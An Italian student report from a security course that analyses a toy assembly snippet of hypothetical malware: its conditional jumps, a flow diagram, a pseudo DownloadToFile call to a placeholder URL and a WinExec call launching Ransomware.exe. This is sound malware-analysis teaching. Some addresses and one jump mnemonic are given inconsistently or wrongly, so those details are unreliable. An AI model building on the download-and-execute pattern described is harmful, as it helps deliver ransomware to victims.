EPICODE

CS0424
S11 / L5

Analisi Codice e Malware

Victoria M. Braile

Prof. Antonio Pozzi

PANORAMICA

TRACCIA

INTRODUZIONE

01. SALTI CONDIZIONALI

02. DIAGRAMMA DI FLUSSO

03. FUNZIONALITÀ IMPLEMENTATE

04. CHIAMATE ALLE FUNZIONI

CONCLUSIONI

TRACCIA

Con riferimento al codice, rispondere ai seguenti quesiti:

1. Spiegare, motivando, quale salto condizionale effettua il Malware.
2. Disegnare un diagramma di flusso (prendere come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicare con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

Tabella 1

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

INTRODUZIONE

L'analisi del **comportamento del malware**, è una componente cruciale nella sicurezza informatica.
L'obiettivo principale di questa analisi è comprendere **funzionalità** e **tecniche** utilizzate dal malware per compromettere i sistemi informatici, al fine di sviluppare contromisure efficaci. L'esercizio richiede di analizzare il **codice assembly** di un potenziale malware, identificando i **salti** condizionali, le **funzioni** invocate e le **operazioni** eseguite, per poi illustrare le principali funzionalità del codice e descrivere il flusso di esecuzione.

L'approccio di questa analisi include l'esame dettagliato delle istruzioni di **salto condizionale**, al fine di capire il percorso logico del codice.
È stato inoltre creato un **diagramma** di **flusso** per visualizzare il flusso di esecuzione, distinguendo percorsi seguiti e non seguiti dal codice. Infine, si è proceduto a delineare le **funzionalità** specifiche implementate dal malware, in particolare relative a **download** ed **esecuzione** di un file. Particolare attenzione è stata posta alle istruzioni **call**, con un'analisi dettagliata di come vengono passati e gestiti gli argomenti nelle chiamate alle funzioni.

01. SALTI CONDIZIONALI

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	**jnz**	**loc 0040BBA0**	**; tabella 2**
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Il codice nella **Tabella 1** mostra l'esecuzione di alcune istruzioni e **due salti condizionali (jnz e jz)**.

- **jnz loc 00401040**: jnz (**Jump if Not Zero**) è un salto condizionale che viene **eseguito** se il **risultato** della precedente operazione di **confronto** (**cmp**) **non è zero**. Il **cmp** precedente (**00401048**) **confronta** il valore nel registro **EAX** con **5**. Se EAX non è uguale a 5, allora jnz effettuerà un salto alla locazione 00408BA0. In questo caso:
  - **mov EAX, 5**, assegna il valore 5 al registro EAX.
  - **cmp EAX, 5**, confronta il valore di EAX con 5.
  - Dato che EAX è stato appena impostato a 5, il confronto **cmp EAX, 5 risulterà** in **zero**, poiché **EAX** è effettivamente **uguale** a **5**.
  - Poiché il confronto ha prodotto un **risultato** di **zero**, il **salto non avviene** e il **programma prosegue** con l'istruzione successiva.

01. SALTI CONDIZIONALI

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2
0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	**jz**	**loc 0040FFA0**	**; tabella 3**

- **jz loc 0040FFA0**: jz (**Jump Not Zero**) è un salto condizionale che si **verifica** se il **risultato** della precedente operazione di **confronto** è **zero**. Qui, il **cmp** confronta **EBX** con **11**. Se **EBX** è **uguale** a **11**, allora il **salto** si **verifica verso loc 0040FFA0**. Nel dettaglio:
  - **cmp EBX, 11** confronta il valore nel registro EBX con il valore 11. Il confronto (cmp) sottrae 11 dal valore in EBX senza memorizzare il risultato, ma aggiorna i flag del processore.
  - **Prima** del confronto, **EBX** è inizialmente impostato a **10** tramite l'istruzione mov EBX, 10 (00401044).
  - **Successivamente**, l'istruzione **inc EBX (0040105F) incrementa** il valore di **EBX** di **1**, portandolo a **11**.
  - Quando l'istruzione **cmp EBX, 11** viene eseguita, EBX contiene il valore 11. Poiché **EBX** è **uguale** a **11**, il confronto restituirà un **risultato zero.**
  - Il **salto jz** (**00401068**) **avviene**, portando l'esecuzione del programma alla **locazione 0040FFA0**, indicata nella **Tabella 3**.

02. DIAGRAMMA DI FLUSSO

00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	**jnz**	**loc 0040BBA0**	**; tabella 2**

0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	**jz**	**loc 0040FFA0**	**; tabella 3**

0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

03. FUNZIONALITÀ IMPLEMENTATE

Tabella 1: Inizializzazione e Controlli Condizionali

- **00401040: mov EAX, 5:** mov copia il valore 5 nel registro EAX. Dopodiché, EAX contiene il valore 5.
- **00401044: mov EBX, 10:** Similmente, questa istruzione copia il valore 10 nel registro EBX. EBX ora contiene 10.
- **00401048: cmp EAX, 5:** cmp confronta il valore attuale di EAX (che è 5) con il valore 5. Sottrae 5 da EAX, non salvando il risultato ma aggiornando i flag di condizione del processore. Poiché EAX è uguale a 5, il risultato della sottrazione è 0.
- **0040105B: jnz loc 00408BA0:** jnz (Jump if Not Zero) avviene solo se il confronto precedente non ha dato come risultato zero. Poiché EAX è uguale a 5, il salto non avviene e l'esecuzione continua con l'istruzione successiva.
- **0040105F: inc EBX**: inc incrementa il valore nel registro EBX di 1 portandolo a 11 (EBX = 11).
- **00401064: cmp EBX, 11**: cmp confronta il valore corrente di EBX con 11, il confronto risulta in zero, quindi il flag Z viene impostato a 1.
- **00401068: jz loc 0040FFA0**: jz (Jump if Zero) avviene solo se il risultato dell'ultimo confronto è stato zero. Poiché EBX è uguale a 11, il salto avviene e l'esecuzione del programma salta alla locazione 0040FFA0.

03. FUNZIONALITÀ IMPLEMENTATE

Tabella 3: Esecuzione di un File

- **0040FFA0: mov EDX, EDI**: mov copia il valore contenuto nel registro EDI (il percordo di file *C:\Program and Settings\LocalUser\Desktop\Ransomware.exe*) nel registro EDX.
- **0040FFA4: push EDX**: push inserisce il valore di EDX (cioè il percorso del file Ransomware.exe) nello stack.
- **0040FFA8: call WinExec()**: call invoca la funzione WinExec, usata per eseguire programmi in ambiente Windows. La funzione WinExec viene chiamata con il percorso del file *Ransomware.exe* (precedentemente spostato nello stack). Dunque il programma indicato (il ransomware) viene eseguito sul sistema.

Tabella 2: Funzionalità Alternativa (non eseguita in quanto il salto jnz non avviene)

- **00408BA0: mov EAX, EDI**: mov copia il valore contenuto in EDI (*www.malwaredownload.com*) nel registro EAX.
- **00408BA4: push EAX**: push inserisce l'URL contenuto in EAX nello stack.
- **00408BA8: call DownloadToFile()**: call invoca la funzione DownloadToFile() per scaricare un file dall'URL *www.malwaredownload.com*.

03. FUNZIONALITÀ IMPLEMENTATE

Il malware implementa dunque le seguenti funzionalità:

- Tabella 1: Il codice **controlla valori** specifici nei **registri** e **condiziona l'esecuzione** a seconda del loro valore.
- Tabella 2: Scarica un file dall'URL *www.malwaredownload.com* e lo salva tramite la funzione **DownloadToFile()**.
- Tabella 3: Esegue il file **.exe** situato nel percorso *C:\Program and Settings\LocalUser\Desktop\Ransomware.exe* tramite la funzione **WinExec()**.

Il codice analizzato segue un flusso logico in cui vengono eseguiti **confronti tra valori nei registri** e, in base ai risultati, viene deciso se saltare a diverse sezioni del programma. Se i confronti soddisfano certe condizioni, il malware procede a scaricare un file da un sito web remoto o, alternativamente, a eseguire un file dannoso già presente nel sistema.

- Il **confronto tra EAX e 5** porta a **non eseguire il salto** verso il **download** del file.
- Il **confronto tra EBX e 11** porta invece all'**esecuzione diretta di un file .exe dannoso** presente sul sistema.

Questo mostra come il **malware** possa **adattare** il suo **comportamento in base** ai risultati di **semplici confronti**, evidenziando la pericolosità di tali codici quando eseguiti in un ambiente non sicuro.

04. CHIAMATE ALLE FUNZIONI

Tabella 2: Chiamata a DownloadToFile() (00408BA8)
Questa funzione verrebbe chiamata solo se il salto condizionale jnz (0040105B) della Tabella 1 avesse luogo.
Poiché il salto non avviene, questa funzione non viene chiamata nel flusso di esecuzione attuale, ma è comunque importante capire cosa farebbe.

- **mov EAX, EDI (00408BA0)**: Prima della chiamata a DownloadToFile(), il **valore** nel **registro EDI** viene **copiato nel registro EAX**. Da quanto si può dedurre dalle note, EDI contiene un URL, ***www.malwaredownload.com***.
- **push EAX (00408BA4)**: **L'URL** ora presente **in EAX** viene **inserito** nello **stack** utilizzando l'istruzione **push**.
- **Chiamata a DownloadToFile() (00408BA8)**: La funzione **DownloadToFile()** è progettata per **scaricare** un **file dall'URL** specificato. L'argomento passato a questa funzione è l'URL ***www.malwaredownload.com***, che è stato precedentemente inserito nello stack. Quando la **funzione** viene **chiamata**, **recupera l'URL** dallo stack, e tenta di stabilire una **connessione** con il **sito web** per **scaricare** un **file** sul sistema locale. Questo dovrebbe essere il **file dannoso** che il **malware intende installare** ed **eseguire**.

04. CHIAMATE ALLE FUNZIONI

Tabella 3: Chiamata a WinExec() (0040FFA8)
La chiamata a WinExec() avviene a seguito del confronto positivo tra EBX e 11 nella Tabella 1, che porta all'esecuzione del codice a partire da 0040FFA0.

- **mov EDX, EDI (0040FFA0)**: Prima della chiamata a WinExec(), il registro **EDI**, che **contiene** il percorso del file ***C:\Program and Settings\LocalUser\Desktop\Ransomware.exe***, viene **copiato** nel registro **EDX**.
- **push EDX (0040FFA4)**: Questo **percorso** viene quindi **inserito nello stack**, pronto per essere utilizzato come argomento per la funzione successiva.
- **Chiamata a WinExec() (0040FFA8)**: **WinExec()** è una funzione di Windows usata per **eseguire un'applicazione**. Accetta come argomento una stringa che specifica il percorso del file eseguibile.
  L'**argomento** passato a WinExec() è il **percorso** del file **Ransomware.exe**, che era stato precedentemente **memorizzato nel registro EDX** e poi **inserito nello stack**. **La chiamata a WinExec() esegue il file ransomware indicato**. Questa è l'azione principale del malware: l'esecuzione di un programma dannoso sul sistema della vittima, che potrebbe cifrare i file del sistema, bloccare l'accesso ai dati o eseguire altre azioni malevole.

CONCLUSIONI

L'analisi del codice assembly ha messo in luce un esempio di malware, che utilizza meccanismi di **controllo condizionale** e **chiamate a funzioni critiche** per eseguire **operazioni malevole** su un sistema compromesso. Studiando le tre tabelle, è stato possibile seguire il flusso logico del malware e comprendere come esso **adatti** il proprio **comportamento** in base a condizioni specifiche, eseguendo azioni diverse a seconda dei valori contenuti nei registri. In particolare, il codice sfrutta **confronti (cmp)** tra valori nei registri e **salti condizionali (jnz, jz)** per determinare quale parte del codice eseguire.

Questa struttura permette al malware di rimanere **flessibile** e **nascondere** le sue intenzioni finché non sono soddisfatte specifiche condizioni, rendendo più **difficile** la sua **individuazione** e **analisi** da parte di software di sicurezza.
La chiamata a funzioni come **DownloadToFile()** e **WinExec()** evidenzia il modus operandi del malware. Nel flusso attuale, viene eseguita la funzione WinExec() con un file già presente sul sistema, dimostrando che il malware è pronto per eseguire immediatamente il payload dannoso, in questo caso un **ransomware**, che può avere effetti devastanti sui dati dell'utente.